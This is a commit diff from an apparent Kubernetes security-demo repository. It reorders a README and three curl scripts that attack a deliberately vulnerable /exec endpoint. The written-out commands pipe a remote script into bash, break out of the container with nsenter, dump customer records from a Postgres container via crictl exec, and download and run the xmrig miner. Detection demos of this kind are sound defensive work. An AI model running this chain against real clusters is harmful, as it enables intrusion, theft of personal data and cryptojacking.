Skip to content

Commit 4e9ba8b

Browse files
Rearranged so the crypto-miner runs last
1 parent b1158da commit 4e9ba8b

File tree

4 files changed

+48
-48
lines changed

4 files changed

+48
-48
lines changed

README.md

Lines changed: 21 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -37,10 +37,10 @@ The [security-playground-restricted.yaml](https://github.com/jasonumiker-sysdig/
3737
|1|allowed|blocked (by not running as root)|allowed|blocked (by not running as root)
3838
|2|allowed|blocked (by not running as root)|blocked|blocked (by not running as root)
3939
|3|allowed|blocked (by not running as root)|blocked|blocked (by not running as root)
40-
|4|allowed|allowed|blocked|blocked (by Container Drift)
40+
|4|allowed|blocked (by not running as root and no hostPID and no privileged securityContect)|allowed|blocked (by not running as root and no hostPID and no privileged securityContect)
4141
|5|allowed|blocked (by not running as root and no hostPID and no privileged securityContect)|allowed|blocked (by not running as root and no hostPID and no privileged securityContect)
4242
|6|allowed|blocked (by not running as root and no hostPID and no privileged securityContect)|allowed|blocked (by not running as root and no hostPID and no privileged securityContect)
43-
|7|allowed|blocked (by not running as root and no hostPID and no privileged securityContect)|allowed|blocked (by not running as root and no hostPID and no privileged securityContect)
43+
|7|allowed|allowed|blocked|blocked (by Container Drift)
4444

4545
Run `cat example-curls.sh` to see what we are about to run. To run these against security-playground-restricted instead run `example-curls-restricted.sh`.
4646

@@ -76,23 +76,7 @@ This triggers the:
7676
#### security-playground-restricted
7777
This will be blocked by our python app not being run as the root user, and therefore not having access to install packages with apt, in security-playground-restricted.
7878

79-
### 4. Crypto Mining Example
80-
Here we are downloading popular crytpo miner cgminer and running it.
81-
82-
This will fire several Rules including:
83-
* `Mailicious filenames written` and `Malicilous binary detected` from the `Sysdig Runtime Threat Intelligence` Managed Policy
84-
* `Drift Detection` from `Container Drift`
85-
* `Detect outbound connections to common miner pool ports` from the `Sysdig Runtime Threat Intelligence` Managed Policy
86-
* `Cryto Mining Detection` from `Machine Learning`
87-
88-
NOTE: If you want to actually mine (needed to trigger a couple of the rules above) remove the --dry-run from the command in the curl
89-
90-
NOTE: This example currently only works with Intel/AMD (not ARM including Apple M1/M2)
91-
92-
#### security-playground-restricted
93-
This is the only example that still works with sysdig-playground-restricted as you don't need to be root to download and run the crypto miner. It can, however, be blocked by a Sysdig Container Drift Policy set to enforce/prevent the drift.
94-
95-
### 5. Break out of our container and install crictl on the host/Node
79+
### 4. Break out of our container and install crictl on the host/Node
9680

9781
As discussed above, given the parameters we have specified (run as root, hostPID, privileged) we are allowed to break out of our container/Linux namespace if we ask. You can do that with the tool `nsenter`. We use this to download and install `crictl`, the tool to manage the container runtime directly, on the Node outside the container. We'll leverage this command behind there in the following examples.
9882

@@ -103,7 +87,7 @@ This will fire two Rules:
10387
#### security-playground-restricted
10488
This will be blocked by our python app not being run as the root user, and therefore not being root outside the container either in security-playground-restricted. It also would be blocked by not having hostPID and/or the privileged securityContext in the PodSpec.
10589

106-
### 6. Break out of our container and interact with other containers via crictl
90+
### 5. Break out of our container and interact with other containers via crictl
10791

10892
The `crictl` command is similar to the Docker CLI and allows you to directly manage the local container runtime (containerd) on the Node - bypassing Kubernetes which normally is how you'd manage it.
10993

@@ -114,11 +98,27 @@ This will fire several the `The docker client is executed in a container` rule i
11498
#### security-playground-restricted
11599
This will be blocked by our python app not being run as the root user, and therefore not being root outside the container either in security-playground-restricted. It also would be blocked by not having hostPID and/or the privileged securityContext in the PodSpec.
116100

117-
### 7. Run a command (a psql query) in another container on the same Node (that runs a PostgreSQL DB)
101+
### 6. Run a command (a psql query) in another container on the same Node (that runs a PostgreSQL DB)
118102

119103
Finally let's exfiltrate some data by running a query within `psql` inside another container on the same host. Even if the database wasn't running within the container (maybe it is an AWS RDS instead) the application Pod needs to have the connection string/secret within it decrypted at runtime in order for *it* to connect. Which means if we can install/run the database client within that other container/Pod then this will still work.
120104

121105
This will fire the the `The docker client is executed in a container` rule in the `Sysdig Runtime Notable Events` Managed Policy twice (once for the `crictl ps` to find the container ID and another for the `crictl exec` that runs the `psql` command to extract the data).
122106

123107
#### security-playground-restricted
124108
This will be blocked by our python app not being run as the root user, and therefore not being root outside the container either in security-playground-restricted. It also would be blocked by not having hostPID and/or the privileged securityContext in the PodSpec.
109+
110+
### 7. Crypto Mining Example
111+
Here we are downloading popular crytpo miner cgminer and running it.
112+
113+
This will fire several Rules including:
114+
* `Mailicious filenames written` and `Malicilous binary detected` from the `Sysdig Runtime Threat Intelligence` Managed Policy
115+
* `Drift Detection` from `Container Drift`
116+
* `Detect outbound connections to common miner pool ports` from the `Sysdig Runtime Threat Intelligence` Managed Policy
117+
* `Cryto Mining Detection` from `Machine Learning`
118+
119+
NOTE: If you want to actually mine (needed to trigger a couple of the rules above) remove the --dry-run from the command in the curl. Also note that without the --dry-run that it will keep running until you kill the Pod!
120+
121+
NOTE: This example currently only works with Intel/AMD (not ARM including Apple M1/M2)
122+
123+
#### security-playground-restricted
124+
This is the only example that still works with sysdig-playground-restricted as you don't need to be root to download and run the crypto miner. It can, however, be blocked by a Sysdig Container Drift Policy set to enforce/prevent the drift.

example-curls-nodrift.sh

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -18,17 +18,17 @@ curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=hello'
1818
echo "3. Exploit installing nmap and running a scan"
1919
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=apt-get update; apt-get -y install nmap;nmap -v scanme.nmap.org'
2020

21-
echo "4. Exploit running a script to run a crypto miner"
22-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'
23-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=tar -xzvf xmrig.tar.gz'
24-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=/app/xmrig-6.18.1/xmrig --dry-run'
25-
26-
echo "5. Break out of our namespace to the host's with nsenter and install crictl in /usr/bin"
21+
echo "4. Break out of our namespace to the host's with nsenter and install crictl in /usr/bin"
2722
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=curl https://z9k65lokhn70.s3.amazonaws.com/install-crictl.sh | bash'
2823

29-
echo "6. Break out of our namespace to the host's with nsenter and talk directly to the container runtime"
24+
echo "5. Break out of our namespace to the host's with nsenter and talk directly to the container runtime"
3025
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps'
3126

32-
echo "7. Exfil some data from another container running on the same Node"
27+
echo "6. Exfil some data from another container running on the same Node"
3328
POSTGRES_ID=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps --name postgres-sakila -q')
34-
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $POSTGRES_ID psql -U postgres -c 'SELECT c.first_name, c.last_name, c.email, a.address, a.postal_code FROM customer c JOIN address a ON (c.address_id = a.address_id)'"
29+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $POSTGRES_ID psql -U postgres -c 'SELECT c.first_name, c.last_name, c.email, a.address, a.postal_code FROM customer c JOIN address a ON (c.address_id = a.address_id)'"
30+
31+
echo "7. Exploit running a script to run a crypto miner"
32+
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'
33+
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=tar -xzvf xmrig.tar.gz'
34+
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=/app/xmrig-6.18.1/xmrig --dry-run'

example-curls-restricted.sh

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -18,17 +18,17 @@ curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=hello'
1818
echo "3. Exploit installing nmap and running a scan"
1919
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=apt-get update; apt-get -y install nmap;nmap -v scanme.nmap.org'
2020

21-
echo "4. Exploit running a script to run a crypto miner"
22-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'
23-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=tar -xzvf xmrig.tar.gz'
24-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=/app/xmrig-6.18.1/xmrig --dry-run'
25-
26-
echo "5. Break out of our namespace to the host's with nsenter and install crictl in /usr/bin"
21+
echo "4. Break out of our namespace to the host's with nsenter and install crictl in /usr/bin"
2722
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=curl https://z9k65lokhn70.s3.amazonaws.com/install-crictl.sh | bash'
2823

29-
echo "6. Break out of our namespace to the host's with nsenter and talk directly to the container runtime"
24+
echo "5. Break out of our namespace to the host's with nsenter and talk directly to the container runtime"
3025
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps'
3126

32-
echo "7. Exfil some data from another container running on the same Node"
27+
echo "6. Exfil some data from another container running on the same Node"
3328
POSTGRES_ID=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps --name postgres-sakila -q')
34-
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $POSTGRES_ID psql -U postgres -c 'SELECT c.first_name, c.last_name, c.email, a.address, a.postal_code FROM customer c JOIN address a ON (c.address_id = a.address_id)'"
29+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $POSTGRES_ID psql -U postgres -c 'SELECT c.first_name, c.last_name, c.email, a.address, a.postal_code FROM customer c JOIN address a ON (c.address_id = a.address_id)'"
30+
31+
echo "7. Exploit running a script to run a crypto miner"
32+
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'
33+
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=tar -xzvf xmrig.tar.gz'
34+
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=/app/xmrig-6.18.1/xmrig --dry-run'

example-curls.sh

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -18,17 +18,17 @@ curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=hello'
1818
echo "3. Exploit installing nmap and running a scan"
1919
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=apt-get update; apt-get -y install nmap;nmap -v scanme.nmap.org'
2020

21-
echo "4. Exploit running a script to run a crypto miner"
22-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'
23-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=tar -xzvf xmrig.tar.gz'
24-
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=/app/xmrig-6.18.1/xmrig --dry-run'
25-
26-
echo "5. Break out of our namespace to the host's with nsenter and install crictl in /usr/bin"
21+
echo "4. Break out of our namespace to the host's with nsenter and install crictl in /usr/bin"
2722
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=curl https://z9k65lokhn70.s3.amazonaws.com/install-crictl.sh | bash'
2823

29-
echo "6. Break out of our namespace to the host's with nsenter and talk directly to the container runtime"
24+
echo "5. Break out of our namespace to the host's with nsenter and talk directly to the container runtime"
3025
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps'
3126

32-
echo "7. Exfil some data from another container running on the same Node"
27+
echo "6. Exfil some data from another container running on the same Node"
3328
POSTGRES_ID=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps --name postgres-sakila -q')
34-
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $POSTGRES_ID psql -U postgres -c 'SELECT c.first_name, c.last_name, c.email, a.address, a.postal_code FROM customer c JOIN address a ON (c.address_id = a.address_id)'"
29+
curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $POSTGRES_ID psql -U postgres -c 'SELECT c.first_name, c.last_name, c.email, a.address, a.postal_code FROM customer c JOIN address a ON (c.address_id = a.address_id)'"
30+
31+
echo "7. Exploit running a script to run a crypto miner"
32+
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'
33+
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=tar -xzvf xmrig.tar.gz'
34+
curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=/app/xmrig-6.18.1/xmrig --dry-run'

0 commit comments

Comments
 (0)